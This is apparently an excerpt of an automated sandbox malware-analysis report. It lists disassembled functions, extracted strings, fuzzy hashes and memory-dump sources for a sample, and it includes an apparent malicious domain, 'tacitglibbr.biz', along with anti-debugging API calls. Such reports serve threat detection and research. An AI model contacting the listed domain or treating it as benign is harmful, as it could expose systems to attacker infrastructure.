Download Yara Rule

Strings

<208, xrefs: 00409709, 0040974C, 00409663
e32t, xrefs: 0040962D
88FE57294B3FC45EE430B6CE554835A9, xrefs: 00409669
<208, xrefs: 004098FD
N, xrefs: 00409623

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID:
String ID: 88FE57294B3FC45EE430B6CE554835A9$<208$<208$N$e32t
API String ID: 0-1182029055
Opcode ID: 367741fb7b931ac47e500ccf61d2cd1ddbe63bd8d08a3116b8b6d2552f41cbba
Instruction ID: 20a34227f67ee4d44eeee74c06e5bcbd5afa54145c4ff8f541f3cb8b1a67e39a
Opcode Fuzzy Hash: 367741fb7b931ac47e500ccf61d2cd1ddbe63bd8d08a3116b8b6d2552f41cbba
Instruction Fuzzy Hash: A8B1E2B150C3808BD718DF65D85166FBBE6EBD2314F14892DF4D19B382DA38C90ACB56

Function 0042C024 Relevance: 6.5, Strings: 5, Instructions: 219COMMON

Download Yara Rule

Strings

C+dY, xrefs: 0042C0E9
C+dY, xrefs: 0042A329
G+dY, xrefs: 0042A2FF
G+dY, xrefs: 0042C0C9
[<, xrefs: 0042A270

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID:
String ID: C+dY$C+dY$G+dY$G+dY$[<
API String ID: 0-2974196941
Opcode ID: ddbf06d5e3c392c75608772084daf204ca4e51145b9c43d9e0e44902391ade6f
Instruction ID: c09d43f335869f7b8f9f12aca26faa345d536313cf1147758d8abc3c2bc18c8b
Opcode Fuzzy Hash: ddbf06d5e3c392c75608772084daf204ca4e51145b9c43d9e0e44902391ade6f
Instruction Fuzzy Hash: CF5168746082918FD719CF3594E0773BBA29F97310B2C849DC8D69F716CA39A806CB69

Function 00D95790 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1968565564.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000002.00000002.1968547299.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968594618.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968617668.0000000000DB2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968636510.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968653502.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968672547.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0370feb49d06202b0a8a2cb5e48f043198ba8953b6faff8e379c5fb6cd4322bb
Instruction ID: 37a066dc76fa12c51f4ac807f9bda618589c05416ca614a213ac30e317d27d68
Opcode Fuzzy Hash: 0370feb49d06202b0a8a2cb5e48f043198ba8953b6faff8e379c5fb6cd4322bb
Instruction Fuzzy Hash: 7B023C71E016199FDF15CFA8D8806AEFBF1FF48324F288269D519A7344D731AA41CBA4

Function 0041A9F0 Relevance: 6.3, Strings: 5, Instructions: 64COMMON

Download Yara Rule

Strings

xSnU, xrefs: 0041AA00
%x|, xrefs: 0041AAD0
5_lh, xrefs: 0041AA30
aQba, xrefs: 0041AA10
'^, xrefs: 0041AA20

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID:
String ID: '^$5_lh$aQba$xSnU$%x|
API String ID: 0-882101050
Opcode ID: 9ec8c59b63fa95e16ec6860a31bbfe7fb180b078cc479365ec457ae7cba96df4
Instruction ID: e51e21ca4a307056c8b4c0eb2cc43503f709736d3fb72366ef66dfb884cae854
Opcode Fuzzy Hash: 9ec8c59b63fa95e16ec6860a31bbfe7fb180b078cc479365ec457ae7cba96df4
Instruction Fuzzy Hash: 6E21043411A3818BD358CF1881A06ABBBE2AFC2344F9C5A1DE4C18B255D734C952CB47

Function 00D8B64C Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 00D8B658
IsDebuggerPresent.KERNEL32 ref: 00D8B724
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00D8B73D
UnhandledExceptionFilter.KERNEL32(?), ref: 00D8B747

Memory Dump Source

Source File: 00000002.00000002.1968565564.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000002.00000002.1968547299.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968594618.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968617668.0000000000DB2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968636510.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968653502.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968672547.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: d318e8fffb9ec372393fd68b63d7949c9c464b080420d8ee76903cb14cdc01b4
Instruction ID: cef39a7529c0de3d492e38f6b796ca9cae303d47f5585dbe69553e711835a545
Opcode Fuzzy Hash: d318e8fffb9ec372393fd68b63d7949c9c464b080420d8ee76903cb14cdc01b4
Instruction Fuzzy Hash: 4731F875D01318DBEF20EF65D98A7CDBBB8EF08310F1041AAE40CAB250EB719A858F55

Function 00DB52D0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 156encryptionCOMMON

Download Yara Rule

APIs

CryptContextAddRef.ADVAPI32 ref: 00DB5450
GetLastError.KERNEL32 ref: 00DB54D6

Strings

[+], xrefs: 00DB54AC

Memory Dump Source

Source File: 00000002.00000002.1968636510.0000000000DB5000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000002.00000002.1968547299.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968565564.0000000000D81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968594618.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968617668.0000000000DB2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968653502.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968672547.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: ContextCryptErrorLast
String ID: [+]
API String ID: 3905322190-4228040803
Opcode ID: e63e81e63c9a5b55fe565538083e8ededd424f616d3ee076845fea44b8024647
Instruction ID: bebea69b8ce9923d095444d6482f92dc2abf4670e02574bd3305f18181162d5c
Opcode Fuzzy Hash: e63e81e63c9a5b55fe565538083e8ededd424f616d3ee076845fea44b8024647
Instruction Fuzzy Hash: E87138B494522DCBCB64EF68D8987E9BBF0AF28304F1044E9E88D97351D6749AC4CF61

Function 0040A740 Relevance: 5.4, Strings: 4, Instructions: 387COMMON

Download Yara Rule

Strings

LO, xrefs: 0040A97C
@KLM, xrefs: 0040A8AA
lZPh, xrefs: 0040AA99
8O, xrefs: 0040A909

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID:
String ID: @KLM$LO$lZPh$8O
API String ID: 0-3822996971
Opcode ID: 18458ae4d7026277bbd0485411983029d0bbd548028fd866e28c3a016821418c
Instruction ID: e5e404e926c62b15b78a954f1dce4a60e5ad98ee9bd4274b2ff5830d2d540624
Opcode Fuzzy Hash: 18458ae4d7026277bbd0485411983029d0bbd548028fd866e28c3a016821418c
Instruction Fuzzy Hash: C9C1227220C3504BD324DF2484512ABFBE3DBC2304F19897EE5D56B382D6799916CB8B

Function 00418E01 Relevance: 5.0, Strings: 4, Instructions: 37COMMON

Download Yara Rule

Strings

vuGO, xrefs: 00418E7E, 00418E82
mpuv, xrefs: 00418E1E
GAv~, xrefs: 00418E16
~r, xrefs: 00418E26

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID:
String ID: GAv~$mpuv$vuGO$~r
API String ID: 0-696450734
Opcode ID: 616145d62a7cfb120fd2df19f99f1477c9b0ca032d4529c76d90e9ae1cb433b7
Instruction ID: ee29cbe9198d147da5b90c3c138bece6e98356071045d62278849ff2cb6e26dc
Opcode Fuzzy Hash: 616145d62a7cfb120fd2df19f99f1477c9b0ca032d4529c76d90e9ae1cb433b7
Instruction Fuzzy Hash: 4EF04E35D1C3904AD3408B25DD4401BBFD1A7C6204F79962DFCA4AB3A8D9748940479F

Function 0041AC8E Relevance: 3.9, Strings: 3, Instructions: 142COMMON

Download Yara Rule

Strings

>'/3, xrefs: 0041AD89
>, xrefs: 0041ADD0
Y012, xrefs: 0041AD40

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID:
String ID: >$>'/3$Y012
API String ID: 0-1372800107
Opcode ID: d5a35714fc12c8785b29ff3887e88db1e1017f82384d504a27dc8b3e7df6a03c
Instruction ID: bb97612691e093f91a50172e7c50a6cc0f989e04871ef8642d39ab6c82e7fb39
Opcode Fuzzy Hash: d5a35714fc12c8785b29ff3887e88db1e1017f82384d504a27dc8b3e7df6a03c
Instruction Fuzzy Hash: D74136B015C3819BD718DF24C890BABBBE1EF92304F48282DF1D29B391DBB98505CB56

Function 00428480 Relevance: 2.9, Strings: 2, Instructions: 432COMMON

Download Yara Rule

Strings

mUhS, xrefs: 004283B8
YimW, xrefs: 00428411, 00428524

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID:
String ID: YimW$mUhS
API String ID: 0-3297437401
Opcode ID: 831d80f5d87b41180382a6403f3d3c9f2583e381982a5f2391941bcea5092d0e
Instruction ID: 696645c39de08c033dd8a65a8fab49616a9d1a26a8561702ab8e03b9e18acff4
Opcode Fuzzy Hash: 831d80f5d87b41180382a6403f3d3c9f2583e381982a5f2391941bcea5092d0e
Instruction Fuzzy Hash: 16E1577560C390CFD3049F28A85162FB7E2AFC6314F988A6DE49587392DB39D905CB4A

Function 0041BE3C Relevance: 2.8, Strings: 2, Instructions: 342COMMON

Download Yara Rule

Strings

lm, xrefs: 0041C09D
&vq!, xrefs: 0041C163

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID:
String ID: &vq!$lm
API String ID: 0-4115262290
Opcode ID: a29d09bfd9b556b20272458391478b0918de14fd7378d9b7865d0f6455a7a235
Instruction ID: c75819e4c118cd4e29fbf24b4af755497520f5b85f5e7725b6b32e709a625a34
Opcode Fuzzy Hash: a29d09bfd9b556b20272458391478b0918de14fd7378d9b7865d0f6455a7a235
Instruction Fuzzy Hash: 8A9154769483108BD314DF64C8923ABB7F1EFD5314F19891EE8C59B380E7788945CB8A

Function 00416494 Relevance: 2.8, Strings: 2, Instructions: 320COMMON

Download Yara Rule

Strings

#[KO, xrefs: 00416500
Y, xrefs: 0041654F

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID:
String ID: #[KO$Y
API String ID: 0-2880779734
Opcode ID: e59fea5aa8018e7e1488389464f67d1e584b2eccc24d91125a8e9bbacc8f1c17
Instruction ID: d1db14263c154f9a5b00c1e4a9ff765da1a6854e091ee8fc4871a768147742b9
Opcode Fuzzy Hash: e59fea5aa8018e7e1488389464f67d1e584b2eccc24d91125a8e9bbacc8f1c17
Instruction Fuzzy Hash: 95919731508390CFD7148F24D85076FB7E2AFDA308F1A882EE4DA97252DB78D845CB5A

Function 00408F00 Relevance: 2.8, Strings: 2, Instructions: 283COMMON

Download Yara Rule

Strings

q, xrefs: 00409065
f, xrefs: 00408FFA

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID:
String ID: f$q
API String ID: 0-1710345868
Opcode ID: 23d9765a1f3fb6aa98558ff685efd4eb75bdc7cedb44b6d98422cdb82ee80e7c
Instruction ID: 040570c7bfe4858dfbfb8e2100d091b5fbdac76020de18f59df16fb9a3fdcaed
Opcode Fuzzy Hash: 23d9765a1f3fb6aa98558ff685efd4eb75bdc7cedb44b6d98422cdb82ee80e7c
Instruction Fuzzy Hash: F971143068C3C28AD315CF3584A076BFFE1AF96210F088A6EE8D55B386D7398909D756

Function 0042B258 Relevance: 2.7, Strings: 2, Instructions: 229COMMON

Download Yara Rule

Strings

m?r!, xrefs: 0042B587
J'D), xrefs: 0042B595

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID:
String ID: J'D)$m?r!
API String ID: 0-1304165489
Opcode ID: 0869c09fc4c9c13979c92022655b873ed90c397b52f379822c2201be06a7f111
Instruction ID: 2b346eb245e410f7ff4360fb1daf5dc0c202009c451bbcd38007884f502d72ec
Opcode Fuzzy Hash: 0869c09fc4c9c13979c92022655b873ed90c397b52f379822c2201be06a7f111
Instruction Fuzzy Hash: 99711278605B508FD716CF29C490722BBE2EFAA304F28858EC4D24F752C779A806CB95

Function 0042B3C0 Relevance: 2.7, Strings: 2, Instructions: 226COMMON

Download Yara Rule

Strings

m?r!, xrefs: 0042B587
J'D), xrefs: 0042B595

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID:
String ID: J'D)$m?r!
API String ID: 0-1304165489
Opcode ID: 639d625038ae1a6915b1e2898df49e64b8ac41115d27c7f26f0aaf317f11a9d1
Instruction ID: 01c0858d47fe19221e32adac3cc0007d8061db3e0ab8b3b9445639621d2164f1
Opcode Fuzzy Hash: 639d625038ae1a6915b1e2898df49e64b8ac41115d27c7f26f0aaf317f11a9d1
Instruction Fuzzy Hash: 426102742047918FD7128F299490722BBF1EFA7314F28968AC4D25F753C379A806CBA5

Function 0040C22A Relevance: 2.6, Strings: 2, Instructions: 53COMMON

Download Yara Rule

Strings

tacitglibbr.biz, xrefs: 0040C2B7
\b\b, xrefs: 0040C24B

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID:
String ID: \b\b$tacitglibbr.biz
API String ID: 0-3165691301
Opcode ID: 90080d919aa76bf61589867cc4a9d04f27c2433b9fe54837a920e3583e867604
Instruction ID: 71fd90ff79ac6e36ae137b7da38d9e0e46934fad05ea523e7695cab3d127a990
Opcode Fuzzy Hash: 90080d919aa76bf61589867cc4a9d04f27c2433b9fe54837a920e3583e867604
Instruction Fuzzy Hash: C1012633B0C2248BC314DF78CC863AA76E2DBC6304F15953EE591A7295EAB4D9074A89

Function 00421AAD Relevance: 1.9, Strings: 1, Instructions: 610COMMON

Download Yara Rule

Strings

s B, xrefs: 00422059

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID:
String ID: s B
API String ID: 0-2761952005
Opcode ID: 601546a710fa3e114378852c12af8db4d7e7412eafccafd52ea28cc15655130a
Instruction ID: f00b0073a49305e34dfa1d97ee0f24ef81c385f2181f8053bc334e76a2e63d58
Opcode Fuzzy Hash: 601546a710fa3e114378852c12af8db4d7e7412eafccafd52ea28cc15655130a
Instruction Fuzzy Hash: 76122375608212DFE704CF28ED9162BB3E5FB8A314F89893CE946D72A1D774E850CB49

Function 00421390 Relevance: 1.7, Strings: 1, Instructions: 458COMMON

Download Yara Rule

Strings

~no, xrefs: 004215E5

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID:
String ID: ~no
API String ID: 0-1396932300
Opcode ID: b9c50ffe853fe6a8924c43437ba59cc1a5386c23a8cd84c5e0e3d07640f9fdca
Instruction ID: 03e17dc692230c1980ecc400a97b31274960ff4c42fa8304190d7ae08a2eb497
Opcode Fuzzy Hash: b9c50ffe853fe6a8924c43437ba59cc1a5386c23a8cd84c5e0e3d07640f9fdca
Instruction Fuzzy Hash: B9C15872A043204BD724DB24985267BB3E5EFE1314F49852EE8D6973A1E738ED05839A

Function 004294A0 Relevance: 1.7, Strings: 1, Instructions: 413COMMON

Download Yara Rule

Strings

", xrefs: 004297A4

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 9ecb76c81fb2f33a453c99ad6e6bbea8ad0ce44a89a8938e8f35f2a837b7420b
Instruction ID: 31c676b967654083df8bd0c3c3ef92bc08a81c2fda98a276be2e24975b648e71
Opcode Fuzzy Hash: 9ecb76c81fb2f33a453c99ad6e6bbea8ad0ce44a89a8938e8f35f2a837b7420b
Instruction Fuzzy Hash: 23D118B2B08321ABC714DE24D48176BB7D5AF84314F49892FE89987381E73CDD45C79A

Function 00436B74 Relevance: 1.7, Strings: 1, Instructions: 410COMMON

Download Yara Rule

Strings

,-, xrefs: 00436ECF

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID:
String ID: ,-
API String ID: 0-1027024164
Opcode ID: 9536c33fa360fe6345236b5194721be949d2d8a4e922c9b26889cb79603d1f8b
Instruction ID: 6eedae12f5ebaee90796f21275fbef2324bb214247947e214efb4c3291e319f1
Opcode Fuzzy Hash: 9536c33fa360fe6345236b5194721be949d2d8a4e922c9b26889cb79603d1f8b
Instruction Fuzzy Hash: D7D1443D128326DBCB149F38E85126BB3F1FF4A351F4AC979C48187261E73AC9648785

Function 00425A42 Relevance: 1.5, Strings: 1, Instructions: 254COMMON

Download Yara Rule

Strings

BZB, xrefs: 00425A33

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID:
String ID: BZB
API String ID: 0-1423513054
Opcode ID: d4c5cd35e4e0dfb4f5f16dfb11a5ccbe2b2d312997b5b5fc0fb0cbb5fa447181
Instruction ID: 4d9ee4571e79b954b18847f1189a193a2f7e624ddf85afb1da3f101c7740ae51
Opcode Fuzzy Hash: d4c5cd35e4e0dfb4f5f16dfb11a5ccbe2b2d312997b5b5fc0fb0cbb5fa447181
Instruction Fuzzy Hash: E0915CB5E04565CFCF14CF54D4D16BEBBB1EF0A304F1940AAD841AB342D639AE42CBA9

Function 00427F40 Relevance: 1.5, Strings: 1, Instructions: 219COMMON

Download Yara Rule

Strings

pq, xrefs: 004280D3

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID:
String ID: pq
API String ID: 0-1239689891
Opcode ID: 0ee5b5d1ec82df4d0239e56e90ea53c81dd5425a17d9a60e4e88a3fc655b9435
Instruction ID: 8cafe98a1e77e001370360eaaae2dc06acac8a8ded5ca6d795d61f1f1d2ccd08
Opcode Fuzzy Hash: 0ee5b5d1ec82df4d0239e56e90ea53c81dd5425a17d9a60e4e88a3fc655b9435
Instruction Fuzzy Hash: D851FD746093618AD7148F65D81233BB7F2EFD6348F548A2DE4D09B390EB39C90AC75A

Function 0041A7EF Relevance: 1.4, Strings: 1, Instructions: 142COMMON

Download Yara Rule

Strings

0, xrefs: 0041AAB4

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 78ccbd82c1643d133dda6288364b0aa4f7c0a1ea77d82ae8cb20325fde096cab
Instruction ID: fc3414c997114958530ad7d1207f67889a04a5ff33054d4c8c1b2b19949f5b4b
Opcode Fuzzy Hash: 78ccbd82c1643d133dda6288364b0aa4f7c0a1ea77d82ae8cb20325fde096cab
Instruction Fuzzy Hash: C2416E32A0A3904BD7298A28C4613BBFBD29FA2310F58547FD4D68B3C2D63C8459875B

Function 00427726 Relevance: 1.3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

Strings

wB, xrefs: 004277D2

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID:
String ID: wB
API String ID: 0-480074513
Opcode ID: 87399fdc9e6e9562d33f9401c1c636dabe40d38cb2aac4cc341e13942f321474
Instruction ID: 7fad335d459b1feff066742cdff2630e0cc7764288f533c6654427274b7272c5
Opcode Fuzzy Hash: 87399fdc9e6e9562d33f9401c1c636dabe40d38cb2aac4cc341e13942f321474
Instruction Fuzzy Hash: 9001DB7868C350CBD340DF04A8A513BF3A5EB8731AF14283DD9CA27352D639E805CB6A

Function 00407490 Relevance: .7, Instructions: 664COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0aa89e7b5a8605db73dcc47adbfe51c066dc095b203901692df3bfeee8cce645
Instruction ID: f938ae41a3038b419a251d19ea0fd76ed7c80f1da14128ebe7d219760a272e59
Opcode Fuzzy Hash: 0aa89e7b5a8605db73dcc47adbfe51c066dc095b203901692df3bfeee8cce645
Instruction Fuzzy Hash: 3F22C432A0C7158BD7249F18D8406ABB3E1BFC4319F29893ED986A7381D738B855CB47

Function 0043B4D0 Relevance: .6, Instructions: 590COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27492b2d90a74b4c9eff262b1aa0575a8dcc431bc680595d0b55c2377ee404e0
Instruction ID: 4fac9284376141d9cfdfa94e166fcd3cd45e2a9eecb92bcfedccc7a152b20599
Opcode Fuzzy Hash: 27492b2d90a74b4c9eff262b1aa0575a8dcc431bc680595d0b55c2377ee404e0
Instruction Fuzzy Hash: E802CF35608355CFCB04CF38E8D026AB7E2EF8A315F19887ED68687262E734D955CB85

Function 0043B5C0 Relevance: .5, Instructions: 491COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6a43cb15a43829ee84329308ff592ded2d6baec9b582537c7d2ae3cc2b00e74
Instruction ID: 1d63ff3b66c0997525999c5b59938d8247576d8889cbfae19d8a3753e1317fb0
Opcode Fuzzy Hash: d6a43cb15a43829ee84329308ff592ded2d6baec9b582537c7d2ae3cc2b00e74
Instruction Fuzzy Hash: 3CE1CD39708355CFCB08CF28E8D066AB7E2FF8A315F19897DD68687262D7349845CB85

Function 0041B3B2 Relevance: .5, Instructions: 464COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ccc59acb884a12ef775040c950d01494543ac4609116b00b0075abc6d6fdefb
Instruction ID: 4a08c08032b5e632c9d4ed5231b718d2833b708eb30c15a23c36fd847f272cb9
Opcode Fuzzy Hash: 1ccc59acb884a12ef775040c950d01494543ac4609116b00b0075abc6d6fdefb
Instruction Fuzzy Hash: 2CD1A8716083568BC714CF24C8926ABB7F2FFD6318F18955EE8C28B391E7389841C796

Function 004363A0 Relevance: .5, Instructions: 463COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02b74bb996bb3d4be4872a2441b2877e87430394890fc3e0d99cc6746b6d0533
Instruction ID: c4c561db145aa5ad29affc4d9f70d14f7c07b84896e138f9994791bc6025467b
Opcode Fuzzy Hash: 02b74bb996bb3d4be4872a2441b2877e87430394890fc3e0d99cc6746b6d0533
Instruction Fuzzy Hash: 76C18A35A043116BD3249F24D8C162FB7A2EBCD718F26E53EE98957341D638EC05C79A

Function 00405930 Relevance: .4, Instructions: 449COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a91ca2f7e85ce901e9a290bd336c76508f981bde5a4857fba989acd99afeb31
Instruction ID: d98c8f66e9d5a2d469121b0c35d07cf85d848eeba0f5fd9aa426947c1ef5be41
Opcode Fuzzy Hash: 0a91ca2f7e85ce901e9a290bd336c76508f981bde5a4857fba989acd99afeb31
Instruction Fuzzy Hash: B0F1E1356087418FC724CF29C88066BFBE6EFD9304F08882EE4D597791E679E904CB96

Function 0043B6E0 Relevance: .4, Instructions: 402COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a44bb361b7798a650365d9309ae685641ac781d92439728a8c3d6e75c6003eb6
Instruction ID: 2759be6ee70d5b1e300686d72e803ac350c4195ea47f38b525d349d161687b24
Opcode Fuzzy Hash: a44bb361b7798a650365d9309ae685641ac781d92439728a8c3d6e75c6003eb6
